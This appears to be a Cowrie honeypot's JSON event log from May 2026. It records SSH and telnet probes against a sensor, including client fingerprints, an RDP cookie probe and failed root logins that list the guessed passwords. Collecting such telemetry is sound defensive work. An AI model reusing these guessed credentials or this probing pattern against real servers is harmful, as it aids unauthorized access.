{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:da:aa:90:b6:ef:0a:67:85:89:6e:3d:52:46:50:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc+VSFUKHS5gB9i0QKMh9eOEmsceTWE2THDBJHKjp6hHcn60YM96c4d+XgKZfVf5sHeUfK9eIm8lhnBA2M3P3HjlvwA4/v79mcEbydLUq8f6PTl4YpmFXGCSUSrqtVu0iJCKIyc0+NimKOMHTrpAJyH4jLgqUKJEpoUdwliYULJ9q3wAXxIyI6n519ugBBAPp8UtIWC+vg2jo3AokL3oIo4XgBl4iM6kCl8Ox7UAQvJyoNqeHds5zgdspErS7OuNkI+rd+dNsKuJgL5obywT5/VAIcjukPPH7Ba/E/EvuV8w7SqnCm9sbYKDNoHuJSPvEFe3HeTRSRhDhWK6Ldaz+t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:da:aa:90:b6:ef:0a:67:85:89:6e:3d:52:46:50:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.705293Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:da:aa:90:b6:ef:0a:67:85:89:6e:3d:52:46:50:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc+VSFUKHS5gB9i0QKMh9eOEmsceTWE2THDBJHKjp6hHcn60YM96c4d+XgKZfVf5sHeUfK9eIm8lhnBA2M3P3HjlvwA4/v79mcEbydLUq8f6PTl4YpmFXGCSUSrqtVu0iJCKIyc0+NimKOMHTrpAJyH4jLgqUKJEpoUdwliYULJ9q3wAXxIyI6n519ugBBAPp8UtIWC+vg2jo3AokL3oIo4XgBl4iM6kCl8Ox7UAQvJyoNqeHds5zgdspErS7OuNkI+rd+dNsKuJgL5obywT5/VAIcjukPPH7Ba/E/EvuV8w7SqnCm9sbYKDNoHuJSPvEFe3HeTRSRhDhWK6Ldaz+t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.710305Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:ad:6c:af:97:70:3c:7f:0e:ea:c3:81:bb:4d:37:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHQVqT1VLw8Q0PSZ/cakxTPMQdUd0kVCM8nlkfUeWJRZ+BZIolDnoN7vEtQi2o/o0w69ZRmWyoFRje1ZAS/4Lox/+OpY4FpjnMJLwHf4GthEHHYLwtLcCU4AqHTxc5Dkrqa5PLy18eAnq/b2Sj1WMrqU7uYYRyP1evF0iiOKZIduNLUWZVbdeBJWuglWXC1w2YcotJ/4uY8W7DnyZ98ocTeDhQf3wh/sbIUE03ayuFQYRz6gw9CjGO3yD/IthJ7q22JkrchPaeeLmyms6BG4HX6qzkvqYDc5ycZhszfBZsR7EWe4OVLZkXyLQNysK45L8B9Rvf4+7dxVmKNkrInEMMJw028J8ObSUGaEsLEnUPi2IPdLQGp39qa7qAnN7UgY0xrydyxeI+xLoOnUCULdnKoM5tpHsNU3dQ39uoiKVMAxH2OkN5A1MC1bFxwPD7d6jdYqA9HZIUXIZkxFfwkvIcbgUWPGkdTLsw8/EiLwuJUYxlPLUoXj2nMvcEfWITmnJigotxRbgWlaNfH4bUCxgKio+X4lpaEL/LQMUnN+gDmCskJrKT2BhfBT1Arx2nLNYf2TIYWANrnIaixmZK3c+ff6lnPwuMoJRLlqx+httP92fS5V9OH4cDzKzBWTWwimgHR/cIWE2wC0xOm4oQz4d+pj+ivR8iN/Gkr0S4F5GAwQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:ad:6c:af:97:70:3c:7f:0e:ea:c3:81:bb:4d:37:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.740669Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:ad:6c:af:97:70:3c:7f:0e:ea:c3:81:bb:4d:37:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHQVqT1VLw8Q0PSZ/cakxTPMQdUd0kVCM8nlkfUeWJRZ+BZIolDnoN7vEtQi2o/o0w69ZRmWyoFRje1ZAS/4Lox/+OpY4FpjnMJLwHf4GthEHHYLwtLcCU4AqHTxc5Dkrqa5PLy18eAnq/b2Sj1WMrqU7uYYRyP1evF0iiOKZIduNLUWZVbdeBJWuglWXC1w2YcotJ/4uY8W7DnyZ98ocTeDhQf3wh/sbIUE03ayuFQYRz6gw9CjGO3yD/IthJ7q22JkrchPaeeLmyms6BG4HX6qzkvqYDc5ycZhszfBZsR7EWe4OVLZkXyLQNysK45L8B9Rvf4+7dxVmKNkrInEMMJw028J8ObSUGaEsLEnUPi2IPdLQGp39qa7qAnN7UgY0xrydyxeI+xLoOnUCULdnKoM5tpHsNU3dQ39uoiKVMAxH2OkN5A1MC1bFxwPD7d6jdYqA9HZIUXIZkxFfwkvIcbgUWPGkdTLsw8/EiLwuJUYxlPLUoXj2nMvcEfWITmnJigotxRbgWlaNfH4bUCxgKio+X4lpaEL/LQMUnN+gDmCskJrKT2BhfBT1Arx2nLNYf2TIYWANrnIaixmZK3c+ff6lnPwuMoJRLlqx+httP92fS5V9OH4cDzKzBWTWwimgHR/cIWE2wC0xOm4oQz4d+pj+ivR8iN/Gkr0S4F5GAwQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.746315Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.775548Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47580,"dst_ip":"10.17.0.5","dst_port":23,"session":"96b801215893","protocol":"telnet","message":"New connection: 152.42.224.71:47580 (10.17.0.5:23) [session: 96b801215893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:16.976269Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39226,"dst_ip":"10.17.0.5","dst_port":22,"session":"a192e68ef834","protocol":"ssh","message":"New connection: 87.251.79.125:39226 (10.17.0.5:22) [session: a192e68ef834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:17.802870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:17.809777Z","src_ip":"87.251.79.125","session":"a192e68ef834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:17.881630Z","src_ip":"87.251.79.125","session":"a192e68ef834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fynjirf","message":"login attempt [root/fynjirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:18.096611Z","src_ip":"87.251.79.125","session":"a192e68ef834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:19.171750Z","src_ip":"87.251.79.125","session":"a192e68ef834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47596,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d1688653928","protocol":"telnet","message":"New connection: 152.42.224.71:47596 (10.17.0.5:23) [session: 8d1688653928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:19.287169Z"}
{"eventid":"cowrie.session.closed","duration":38.80432963371277,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:26.100068Z","src_ip":"152.42.224.71","session":"8872f516ce77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.654325485229492,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:26.630459Z","src_ip":"152.42.224.71","session":"96b801215893","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00178742408752,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:27.578224Z","src_ip":"152.42.224.71","session":"eb8d61c761ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56448,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b2dbd13e47c","protocol":"telnet","message":"New connection: 152.42.224.71:56448 (10.17.0.5:23) [session: 7b2dbd13e47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:31.852223Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56458,"dst_ip":"10.17.0.5","dst_port":23,"session":"6385f054d588","protocol":"telnet","message":"New connection: 152.42.224.71:56458 (10.17.0.5:23) [session: 6385f054d588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:33.682217Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36504,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cc0dc22302d","protocol":"telnet","message":"New connection: 152.42.224.71:36504 (10.17.0.5:23) [session: 9cc0dc22302d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:36.729389Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36514,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aa6218d288c","protocol":"telnet","message":"New connection: 152.42.224.71:36514 (10.17.0.5:23) [session: 5aa6218d288c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:37.858902Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36528,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e83b8a554ca","protocol":"telnet","message":"New connection: 152.42.224.71:36528 (10.17.0.5:23) [session: 1e83b8a554ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:41.146806Z"}
{"eventid":"cowrie.session.closed","duration":7.561618328094482,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:45.420433Z","src_ip":"152.42.224.71","session":"5aa6218d288c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53152,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c11d0488017","protocol":"telnet","message":"New connection: 152.42.224.71:53152 (10.17.0.5:23) [session: 7c11d0488017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:46.191485Z"}
{"eventid":"cowrie.session.closed","duration":118.35418844223022,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:52.109583Z","src_ip":"152.42.224.71","session":"8c0c357b33b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.18067002296448,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:52.818354Z","src_ip":"152.42.224.71","session":"e6e48cc1367b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57798,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b52ab3c31e9","protocol":"telnet","message":"New connection: 152.42.224.71:57798 (10.17.0.5:23) [session: 5b52ab3c31e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:00.128593Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57812,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc85931b0be7","protocol":"telnet","message":"New connection: 152.42.224.71:57812 (10.17.0.5:23) [session: fc85931b0be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:04.222587Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51772,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd81a2cb3ec","protocol":"telnet","message":"New connection: 152.42.224.71:51772 (10.17.0.5:23) [session: acd81a2cb3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:08.562659Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51782,"dst_ip":"10.17.0.5","dst_port":23,"session":"234bb8ba6f9b","protocol":"telnet","message":"New connection: 152.42.224.71:51782 (10.17.0.5:23) [session: 234bb8ba6f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:10.042842Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51798,"dst_ip":"10.17.0.5","dst_port":23,"session":"142d166a6472","protocol":"telnet","message":"New connection: 152.42.224.71:51798 (10.17.0.5:23) [session: 142d166a6472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:10.674804Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51812,"dst_ip":"10.17.0.5","dst_port":23,"session":"864d3db727d3","protocol":"telnet","message":"New connection: 152.42.224.71:51812 (10.17.0.5:23) [session: 864d3db727d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:11.014140Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":60662,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad592378df94","protocol":"ssh","message":"New connection: 109.172.54.111:60662 (159.203.135.109:22) [session: ad592378df94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:11.457569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:11.462771Z","src_ip":"109.172.54.111","session":"ad592378df94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:11.563063Z","src_ip":"109.172.54.111","session":"ad592378df94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfczyz","message":"login attempt [root/vfczyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:11.865204Z","src_ip":"109.172.54.111","session":"ad592378df94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:12.981899Z","src_ip":"109.172.54.111","session":"ad592378df94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.980639696121216,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:13.709949Z","src_ip":"152.42.224.71","session":"9cc0dc22302d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.53886103630066,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:13.730231Z","src_ip":"152.42.224.71","session":"7c11d0488017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56570,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee103e3cd830","protocol":"telnet","message":"New connection: 152.42.224.71:56570 (10.17.0.5:23) [session: ee103e3cd830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:21.795170Z"}
{"eventid":"cowrie.session.closed","duration":42.30626440048218,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:23.452864Z","src_ip":"152.42.224.71","session":"1e83b8a554ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":113.42733263969421,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:25.324525Z","src_ip":"152.42.224.71","session":"f5f7b55e1b5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":81.66584849357605,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:26.113533Z","src_ip":"152.42.224.71","session":"9ad5c1f798b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56576,"dst_ip":"10.17.0.5","dst_port":23,"session":"a618bb7b3bc3","protocol":"telnet","message":"New connection: 152.42.224.71:56576 (10.17.0.5:23) [session: a618bb7b3bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:26.673698Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56135,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ee7c482a2cc","protocol":"ssh","message":"New connection: 167.172.81.52:56135 (10.17.0.5:22) [session: 5ee7c482a2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:27.152566Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:27.156970Z","src_ip":"167.172.81.52","session":"5ee7c482a2cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:27.160090Z","src_ip":"167.172.81.52","session":"5ee7c482a2cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55024,"dst_ip":"10.17.0.5","dst_port":23,"session":"64835985884b","protocol":"telnet","message":"New connection: 152.42.224.71:55024 (10.17.0.5:23) [session: 64835985884b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:28.564922Z"}
{"eventid":"cowrie.session.closed","duration":107.80068874359131,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:28.785119Z","src_ip":"152.42.224.71","session":"457e51120156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55040,"dst_ip":"10.17.0.5","dst_port":23,"session":"329542a7333c","protocol":"telnet","message":"New connection: 152.42.224.71:55040 (10.17.0.5:23) [session: 329542a7333c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:28.974877Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55052,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7e96634e3d","protocol":"telnet","message":"New connection: 152.42.224.71:55052 (10.17.0.5:23) [session: bf7e96634e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:29.753549Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":33834,"dst_ip":"159.203.135.109","dst_port":22,"session":"9634daffa110","protocol":"ssh","message":"New connection: 170.238.160.191:33834 (159.203.135.109:22) [session: 9634daffa110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:32.408909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:32.414107Z","src_ip":"170.238.160.191","session":"9634daffa110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:32.526066Z","src_ip":"170.238.160.191","session":"9634daffa110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.699167013168335,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:32.551149Z","src_ip":"152.42.224.71","session":"7b2dbd13e47c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Al123456","message":"login attempt [root/Al123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:33.003266Z","src_ip":"170.238.160.191","session":"9634daffa110","protocol":"ssh"}
